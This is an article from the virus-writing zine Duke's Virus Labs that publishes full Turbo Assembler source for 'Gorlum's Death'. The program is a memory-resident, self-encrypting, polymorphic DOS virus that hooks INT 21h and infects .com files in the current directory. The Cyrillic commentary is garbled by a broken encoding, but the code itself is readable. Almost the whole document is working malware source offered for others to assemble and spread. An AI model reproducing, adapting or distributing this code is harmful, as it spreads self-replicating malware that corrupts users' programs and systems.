- [Duke's Virus Labs #4] - [Page 16] -

Gorlum's Death
(c) by SMT/SMF

     : Gorlum's Death
         : SMT/SMF
 ண.   : Turbo Assembler
 ᮧ : 22.01.99


 । :
    ᮧ ⮣  ⠪...
    ᢮   GorLuM/Hell13 襫  ⫮  .
    祬  ⥪஢   ᫥ ॢ ⨪
    COM.TSR.CRYPT.Virus.
    GorLuM ਭ      DVL (   ஬ ᯠᨡ :)
    SMT/SMF ,  ᥬ஢ ,    "Mutation96".
    ᫥ ⮣   ᭮ ᠫ ᢮  - "Gorlum's Death".
         ।⠢塞 襬 .
    ᥡ ,    ஢ 䠩  ᮤন (稥 "MZ"
    砫 䠩)   䠩  EXE-ன  COM-.

  :

 १  , ࠦ   .com - 䠩 
⥪饬 ⠫   맮 INT21  㭪ﬨ SELECT DISK  EXEC PROGRAM.
 ..   ࠡ 짮⥫ ᠬ  ⠫  맮 INT21
᫥ 筮 ,   ࠭ 쭮  
 䠩  ⠫.
P     筮 ஢ .

===== Cut here =====
.model tiny
.code

        org 11ah
Decode:
        org     100h
start:
        db 9ch dup (90h)        ;    ஢騪

nope:   nop
        nop
        jmp Virstart

; --------------------  ࠡ稪 INT21 --------------------------
Resident:
        cmp     ah,8fh          ; ᫨ ᫠   ⢨  
        jne     NOQUER
        mov     ah,0fbh         ;  ⢥ ⢥न⥫쭮
        jmp     Exit            ;  
NOQUER: cmp     ah,0eh          ; ᫨ 㭪 "select disk",
        je      OK
        cmp     ax,4b00h        ;  㭪 "execute program",
        jne     Exit
                                ;  믮  ⢨ ;)
OK:
        pushf
        push    ax bx cx dx di si bp ds es sp ss
        push    cs
        pop     ds
        mov     ah,2Fh
        int     21h             ; 砥 DTA  es:bx
        mov     ax,es
        mov     ds:[DTAofs],bx
        mov     ds:[DTAseg],ax  ; ࠭塞 DTA
        push    cs
        pop     es
        call    xorer           ; 㥬
        call    MAIN            ; - ᤥ
        call    xorer           ; 㥬

        mov     dx,ds:[DTAofs]
        mov     ax,ds:[DTAseg]
        mov     ds,ax
        mov     ah,1Ah
        int     21h             ; ⠭ DTA
        pop     ss sp es ds bp si di dx cx bx ax
        popf
Exit:
        db      0eah            ; JMP FAR - 室   INT21
int21of dw ?
int21se dw ?


;       ------------------ """" -------------------
xorer:
        mov     di,offset body
        mov     cx,offset virend - offset body
megaxor:
        db 81h,35h              ;  TASM'a,    ᥬ஢
                                ; XOR WORD PTR [DI] ( ᥬ BYTE PTR)
xorerv  dw 0
        inc     di
        inc     di
        loop    megaxor
        ret

;------------------------------------------------------------
body:                           ; 砫 . 

; --- ᪮쪮 饭 ࠡ稪 Abort,Retry,Ignore ----
INT24:  mov     al,3            ;  'fail system call in progress'
        iret

; ------------------------------------------------------------
zeroDTA:mov     word ptr ds:[DTA],0
        mov     si,offset DTA
        mov     di,offset DTA+2
        mov     cx,16h
        cld                     ; ᥣ  ᯮᮡ 㫨
        rep     movsw           ;  24  DTA
        ret
; ------------------------------------------------------------
Find1st:call    zeroDTA
        mov     ah,4Eh
        xor     cx,cx
        mov     dx,ds:[cMask]
        int     21h             ;  ࢮ 䠩  ᪥  ds:dx
        ret
; ------------------------------------------------------------
FindNxt:mov     ah,4Fh
        int     21h             ; 饬 ᫥騩 䠩
        ret
; ------------------------------------------------------------
SetPoly:
        mov     cx,4Eh
        mov     si,100h
Fill1:  mov     [si],dx         ;    ஢騪
        inc     si              ; - ⢥묨 ﬨ
        inc     si
        loop    Fill1
        ret
; ================== MAIN ROUTINE =====================
MAIN:
        xor     ax,ax
        mov     es,ax
        mov     ax,es:[92h]
        mov     bx,es:[90h]     ; 墠 ࠡ稪 ᪨ 訡
        mov     ds:[int24se],ax
        mov     ds:[int24of],bx ; ࠭  int24
        cli
        mov     es:[92h],ds     ; ⠭ ᢮ ࠡ稪
        mov     ax,offset INT24 ; int 24
        mov     es:[90h],ax     ;
        sti
        push    ds
        pop     es
        mov     ah,1Ah
        mov     dx,offset DTA
        int     21h             ; ⠭ ᢮ DTA

        mov     byte ptr ds:[First],1   ; ⠭ ਧ ⮣, 
                                        ;   㤥 ⮬ 
        mov     word ptr [virln],0
        mov     ds:[counter],0          ; 塞 稪 ࠦ. 䠩
        mov     word ptr ds:[SILOD+1],offset nope
        mov     word ptr ds:[cMask],offset ComMask
        call    Find1st                 ; 筥  .com-䠩
        jnc     short found
        jmp     exitINT
found:

;                       MUTATION ENGINE
;  ⠢ 樨   ⨥ ॣ஢
; ax,cx,dx,bx,bp,si,di
;  ࠧ 롨ࠥ ᫥騩 ॣ, ᫥ DI ᭮ 室  AX

        cmp     byte ptr ds:[RGLOD],0BFh        ; ᫨  DI....
        jne     NxtReg                          ; 室  ᫥.
                                                ;  ᭮ AX
        mov     byte ptr ds:[RGINC],3Fh         ; ,  1 訩, 祬 㦭
        nop
        mov     byte ptr ds:[RGLOD],0B7h        ; ,  1 訩, 祬 㦭
        mov     byte ptr ds:[RGPUSH],4Fh        ; ,  1 訩, 祬 㦭
NxtReg:                                 ; 롮 ᫥饣 ॣ  ᯨ᪠...
        inc     byte ptr ds:[RGINC]     ; 砥 㦭   ᫥. ॣ
        inc     byte ptr ds:[RGLOD]     ; 砥 㦭   ᫥. ॣ
        inc     byte ptr ds:[RGPUSH]    ; 砥 㦭   ᫥. ॣ
        cmp     byte ptr ds:[RGINC],44h ; ॣ SP ய᪠,
        je      NxtReg                  ;  ⮬      PUSH

        mov     si,offset FName
        mov     di,offset command
        mov     cx,0Bh
        cld
        repe    cmpsb           ; ࠢ    'COMMAND.COM'
        jnz     notCOMMAND
        jmp     nxtfile         ;  ࠦ COMMAND.COM
notCOMMAND:
        mov     ax,3D02h
        mov     dx,offset FName
        int     21h             ; 뢠  䠩
        jnc     OpenOK
        jmp     nxtfile         ;   - 室  ᫥饬, 
                                ; ন  ࠦ !-)
OpenOK:
        mov     bx,ax           ;  handle ⮣ 䠩
        mov     ah,3Fh          ; 㭪 ⥭  䠩
        mov     cx,7            ; ⠥  7 
        mov     dx,offset OldShit
        int     21h             ; 뢠   砫 䠩
        cmp     byte ptr ds:[OldShit+4],0C3h ; ஢ઠ  ୮ ࠦ
        jne     Clean
        mov     ah,3Eh          ; 㭪  䠩
        int     21h             ;  ࠦ - 뢠   ᯮ
        jmp     nxtfile

Clean:  inc     ds:[counter]    ;  ᫠ ࠦ   ࠧ 䠩
        mov     ax,4202h
        xor     cx,cx
        xor     dx,dx
        int     21h             ; 室   䠩
        mov     word ptr ds:[virln],ax   ;   䠩 
        add     ax,offset nope
        mov     word ptr ds:[SILOD+1],ax ;  砫 . 
        mov     ax,4200h
        xor     cx,cx
        xor     dx,dx
        int     21h             ; 室  砫 䠩

        mov     ax,word ptr ds:[DTA+1ah] ; 㧭 ࠧ 䠩  DTA ᪠
        add     ax,100h                  ; 㧭 ⮢  
        mov     word ptr ds:[RGLOD+1],ax ;  ⮢  

        mov     ah,40h          ;   䠩
        mov     cx,7
        mov     dx,offset RGLOD
        int     21h             ;  砫 䠩 襬 室
                                ;  ⥫ 

        mov     ax,4202h
        xor     cx,cx
        xor     dx,dx
        int     21h             ; 室   䠩

        push    bx
        cmp     ds:[AddSize],100h       ;  뢠 
        je      ClearGarbage            ;   100h
        inc     ds:[AddSize]            ; 稬 ࠧ 뢠 
        inc     word ptr ds:[CXLOD+1]   ; 稬 ࠧ ஢ 
        jmp     sizeOK

ClearGarbage:
        mov     ds:[AddSize],0          ; 㫨 ࠧ 뢠 
        sub     word ptr ds:[CXLOD+1],100h
sizeOK:

;       筮 ࢮ MUTATION ENGINE:
;               롮 ॣ  SI/DI

        cmp     byte ptr ds:[incSI],47h
        jne     SelectDI                ; ᫨   ࠧ  DI,
        dec     byte ptr ds:[incSI]     ;  ᥩ  SI
        dec     byte ptr ds:[xorSI+1]
        dec     byte ptr ds:[SILOD]
        dec     byte ptr ds:[Si1]
        dec     byte ptr ds:[Si2+1]
        jmp     Reg1
SelectDI:
        inc     byte ptr ds:[incSI]     ;   DI
        inc     byte ptr ds:[xorSI+1]
        inc     byte ptr ds:[SILOD]
        inc     byte ptr ds:[Si1]
        inc     byte ptr ds:[Si2+1]
Reg1:

;  ᨬ  ᯮ㥬 ॣ 롨ࠥ 祣  
; , ன 塞    䭮 ஢騪

        mov     dh,byte ptr ds:[RGINC]
        cmp     dh,48h                  ; dec ax
        jne     noAX
        mov     dh,40h                  ; inc ax
noAX:
        cmp     dh,41h                  ; inc cx
        jne     noCX
        mov     dh,48h                  ; dec ax
noCX:
        cmp     dh,47h                  ; inc di
        jne     noDI
        mov     dh,4Bh                  ; dec bx
noDI:
        cmp     dh,46h                  ; inc si
        jne     noSI
        mov     dh,0FBh                 ; sti
noSI:

        mov     dl,dh                   ; 塞 ࠭ 
        call    SetPoly                 ;  䭮 ஢騪

        mov     ah,byte ptr ds:[incSI]
        mov     bx,word ptr ds:[RandSeed] ; ।. 祭 
        cmp     bh,0                      ; ᥢ砩 ᥫ
        jne     RNDZ
        mov     bh,63h
        xor     bl,bl
RNDZ:
        inc     bl
        dec     bh
        mov     cl,bl
        xor     ch,ch
        mov     si,12eh                 ; ⠢  inc REG  㤠-
                                        ; ᫥ 12eh
        push    si
        push    si
        add     si,cx
        mov     [si],ah
        pop     si
        mov     cl,bh
        xor     ch,ch
        add     si,cx
        mov     [si],ah                 ; ⠢  inc REG  㤠-
                                        ; ᫥ 12eh
        mov     word ptr ds:[RandSeed],bx
        pop     si
        mov     ax,word ptr ds:[RndSeed2] ; ६  㣮
        cmp     ax,5Fh                  ;  ᥢ砩 ᥫ
        jne     RND2
        mov     ax,0Ah
RND2:
        inc     ax
        add     si,ax
        mov     dx,word ptr ds:[xorSI]
        mov     [si],dx                 ; ⠢ 㤠- xor si,nnnn
        mov     word ptr ds:[RndSeed2],ax
        mov     ax,word ptr ds:[RndSeed3]
        cmp     ax,11h
        jne     RND3
        xor     ax,ax
RND3:
        inc     ax
        mov     di,106h
        add     di,ax
        mov     si,offset SILOD
        mov     cx,3
        rep     movsb   ; 㤠-   砫 ⠢ mov REG,start
        mov     word ptr ds:[RndSeed3],ax
        mov     ax,word ptr ds:[RndSeed4]
        cmp     ax,0
        jne     RND4
        mov     ax,11h
RND4:
        dec     ax
        mov     di,11ah
        add     di,ax
        mov     si,offset CXLOD
        mov     cx,3
        rep     movsb          ; 㤠-   砫 ⠢ mov cx,len
        mov     word ptr ds:[RndSeed4],ax
        mov     ax,word ptr ds:[RndSeed5]
        cmp     ax,0
        jne     RND5
        mov     ax,8
RND5:
        dec     ax
        mov     di,192h
        add     di,ax
        mov     dl,0E2h
        xor     ch,ch                   ; Zero register
        mov     cl,9Ah
        sub     cx,ax
        mov     dh,cl
        mov     [di],dx                 ;    ⠢ loop  砫
        mov     word ptr ds:[RndSeed5],ax
        mov     ah,2Ch
        int     21h                     ; ᬮਬ  ...
        mov     si,130h
        add     si,word ptr ds:[RndSeed2]
        mov     [si],dx     ; ᪮쪮 ᥪ㭤 ⨪ -  ⥬ ᫮  XOR'
        push    dx
        mov     word ptr ds:[xorerv],0  ; -   १
                                        ; ࠡ⠥ (?),     XOR
        mov     si,100h
        mov     di,offset virend
        mov     cx,virlen
        cld
        rep     movsb                   ; ७ᨬ     
        pop     dx
        mov     word ptr ds:[xorerv],dx ; 롨ࠥ  ⠭ 
                                        ; ஢ १
Si1:    mov     si,offset virend
Si2:    add     si,offset nope - offset start

        mov     byte ptr ds:[nope-1],0C3h       ; ⠢ RET ᫥ ஢騪
        call    Decode  ; call 11a
        mov     byte ptr ds:[nope-1],90h        ; ⠭ ஢騪

        pop     bx
        mov     cx,virlen
        add     cx,ds:[AddSize]
        mov     dx,offset virend
        mov     ah,40h  ; 뢠   䠩  ⮬ 
        int     21h
        mov     ax,5701h
        mov     cx,word ptr ds:[DTA+16]
        mov     dx,word ptr ds:[DTA+18]
        int     21h     ; ⠭  /६ ᮧ 䠩
        mov     ah,3Eh
        int     21h     ; 뢠 砢訩 䠩

; ----------   ࠡ⪠ ᫥饣 䠩 ------------
nxtfile:cmp     ds:[counter],3          ;   ࠧ ࠦ 
        je      exitINT                 ;  3x 䠩 :(
        call    FindNxt
        jc      exitINT
        jmp     found

;--------------- 室   楤 ----------------
exitINT:
        xor     ax,ax
        mov     es,ax
        cli
        mov     ax,ds:[int24se]
        mov     bx,ds:[int24of]
        mov     es:[92h],ax
        mov     es:[90h],bx             ; ⠭ int24
        sti
        xor     dx,dx
        call    SetPoly         ; ⨥ ⮪ ஥ 
                                ; ( ⮦ ஥ ஢騪 )
        ret

; ===============   ᫥ ஢ ===================
virstart:
        mov     bp,0
virln   equ     $-2             ;  㤥 ࠭  
        mov     ax,ds:[2ch]     ; 諨 ᥣ  ६묨 ।
        mov     [bp+envseg],ax
;       mov     [bp+v643h],cs
;       mov     [bp+v647h],cs
;       mov     [bp+v63Fh],cs
        mov     ah,8Fh
        int     21h     ; ஢塞,   १  :
        cmp     ah,0FBh ; ᫨ "᢮" 㭪 頥 0FBh - 室
        jne     NOQUIT
        jmp     DOS
NOQUIT:
;        ---------------   ---------------
        mov     ax,cs
        dec     ax
        mov     ds,ax                   ; ஢塞 MCB ணࠬ
        cmp     byte ptr ds:[0],5Ah     ; ᫨   ᫥,  
        jne     short DOS       ;   ᪮॥ ᥣ  -  :(
                                ; ( ⪥    ⠭ ᥣ஢)
        mov     ax,ds:[3]       ; 뢠 DOS - 㬥蠥 ࠧ ணࠬ,
        sub     ax,(virlen/8)   ; ᫥ 襭   
        mov     ds:[3],ax       ; ᢮, ࠧ ﭭ ,
        mov     bx,ax           ; 㤠   㭥 १
        mov     ax,es
        add     ax,bx
        mov     es,ax           ; es=ᥣ, 㤠 㤥 ⠭ १
        mov     si,bp
        add     si,100h
        mov     cx,2A4h
        mov     ax,ds
        inc     ax
        mov     ds,ax
        mov     di,100h
        cld
        rep     movsw      ; 㥬      ( es:100)
        push    es
        pop     ds
        xor     ax,ax
        mov     es,ax
        mov     ax,es:[86h]
        mov     bx,es:[84h]     ;  ax:bx -  ࠡ稪 INT21
        mov     ds:[int21se],ax
        mov     ds:[int21of],bx ; ࠭塞   INT21
        cli
        mov     es:[86h],ds
        mov     ax,offset Resident      ; ⠭  ࠡ稪,
        mov     es:[84h],ax             ;  த ;)
        sti

DOS:
        push    cs
        pop     ds
        push    cs
        pop     es
        cmp     byte ptr [bp+First],1   ; ᫨     ⠫,
        je      short RUN
        mov     ah,4Ch                  ;   
        int     21h

RUN:    mov     si,bp
        mov     cx,7
        add     si,offset Oldshit       ; ⠭ 砫 
        mov     di,100h
        cld
        rep     movsb
        mov     ax,100h
        push    ax
        retn                            ;  ⢥ 㫨...

Oldshit db 7 dup (0)                    ;   ࠭ 砫 



command db 'COMMAND.COM'
RGINC:  inc si
SILOD:  mov si,800h
CXLOD:  mov cx,virlen
RGLOD:  mov si,4a2h
RGPUSH: push si
        ret
incSI:  inc si
xorSI:  xor word ptr ds:[SI],1234H

ComMask db '*.com',0

First   db 0
envseg  dw ?
int24of dw ?
int24se dw ?
DTAseg  dw ?
DTAofs  dw ?
counter dw ?
AddSize dw 1
RandSeed dw 5310h
RndSeed2 dw 2bh
RndSeed3 dw 10h
RndSeed4 dw 7
RndSeed5 dw 1

cMask   dw ?                            ;  祬  ᪨ .com-䠩

DTA     dw 18h dup (0)
FName   equ DTA+1eh                     ;   .com-䠩

virlen  equ $-start
virend  label
        end     start
===== Cut here =====
